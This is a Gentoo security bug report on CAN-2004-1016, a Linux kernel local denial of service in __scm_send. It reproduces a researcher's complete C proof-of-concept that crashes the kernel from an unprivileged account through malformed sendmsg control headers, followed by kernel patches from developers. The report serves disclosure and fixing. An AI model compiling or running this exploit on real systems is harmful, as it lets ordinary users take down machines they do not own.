| Summary: | Local DoS using __scm_send (CAN-2004-1016) | ||||||
|---|---|---|---|---|---|---|---|
| Product: | Gentoo Security | Reporter: | Thierry Carrez (RETIRED) <koon> | ||||
| Component: | Kernel | Assignee: | Gentoo Security <security> | ||||
| Status: | RESOLVED DUPLICATE | ||||||
| Severity: | normal | ||||||
| Priority: | High | ||||||
| Version: | unspecified | ||||||
| Hardware: | All | ||||||
| OS: | All | ||||||
| Whiteboard: | VENDOR-SEC-WAIT | ||||||
| Package list: | Runtime testing required: | --- | |||||
| Attachments: |
|
||||||
|
Description
Thierry Carrez (RETIRED)
2004-11-25 06:20:28 UTC
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, below a non privileged version of your favourite setuid /sbin/halt command. On SMP machines you may need to start it few times. Btw. we have a working proof-of-concept root exploit for the AF_UNIX issue http://lists.netsys.com/pipermail/full-disclosure/2004-November/029055.html preapre upgrades for your users. /* * Linux kernel __scm_send DoS * * gcc -O2 scmbang.c -o scmbang * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <time.h> #include <sys/socket.h> #include <sys/select.h> #include <sys/time.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> static char buf[1024]; void fatal(const char *msg) { printf("\n"); if(!errno) { fprintf(stderr, "FATAL: %s\n", msg); } else { perror(msg); } printf("\n"); fflush(stdout); fflush(stderr); exit(1); } int main(void) { int s, r; struct sockaddr_in sin; struct msghdr *msg; struct cmsghdr *cmsg; s=socket(AF_INET, SOCK_DGRAM, 0); if(s<0) fatal("socket"); // must be connected memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = 9999; sin.sin_addr.s_addr = inet_addr("127.0.0.1"); r = connect(s, &sin, sizeof(sin)); if(r<0) fatal("connect"); memset(buf, 0, sizeof(buf)); msg = (void*)buf; msg->msg_control = (void*)(msg+1); // bad cmsgs cmsg = (void*)msg->msg_control; // skip this one cmsg->cmsg_len = sizeof(*cmsg); cmsg->cmsg_level = 0xdeadbeef; cmsg->cmsg_type = 12; // len after overflow on second msg cmsg++; // -12 for bang cmsg->cmsg_len = -12; cmsg->cmsg_level = SOL_IP; msg->msg_controllen = (unsigned)(cmsg+1) - (unsigned)msg->msg_control; r = sendmsg(s, msg, 0); if(r<0) fatal("sendmsg"); printf("\nYou lucky\n"); fflush(stdout); return 0; } - -- Paul Starzetz iSEC Security Research http://isec.pl/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQFBpdZOC+8U3Z5wpu4RApCBAKDOTOXGFsk9eRYx43V54uK7mL/buQCfaAgh weZQCIwKG4BquVLgFISWZeE= =yGQy -----END PGP SIGNATURE----- // -12 for bang
CMSG_ALIGN()
If you input -12, you'll get -12 out of it but if you input -3...-1
you'll get 0 out of it. All uses of the CMSG_ALIGN macro and similar
alignments and their use need to be audited.
Attached is a quick hotfix which mitigates these problems at hand, but
some hard hitting kernel hackers have to tell what's the proper
approach.
--- include/linux/socket.h.orig 2004-11-25 11:19:17.000000000 -0500
+++ include/linux/socket.h 2004-11-25 11:19:47.000000000 -0500
@@ -122,7 +122,7 @@ __KINLINE struct cmsghdr * __cmsg_nxthdr
struct cmsghdr * __ptr;
__ptr = (struct cmsghdr*)(((unsigned char *) __cmsg) + CMSG_ALIGN(__cmsg->cmsg_len));
- if ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size)
+ if (__ptr <= __cmsg || ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size))
return (struct cmsghdr *)0;
return __ptr;
Created attachment 44830 [details, diff] patch-2.6.x- CAN-2004-1016.patch On Thu, 25 Nov 2004, Parul Starzetz wrote: > > below a non privileged version of your favourite setuid /sbin/halt=20 > command. On SMP machines you may need to start it few times. Thanks for the program Paul. This patch should fix the cmsg_len checking for 2.6. A 2.4 backport should be straightforward. BTW, preempt will mitigate the effects of this particular attack. However, there may well be other ways to exploit this through the messages themselves. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} <herbert@gondor.apana.org.au> Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt |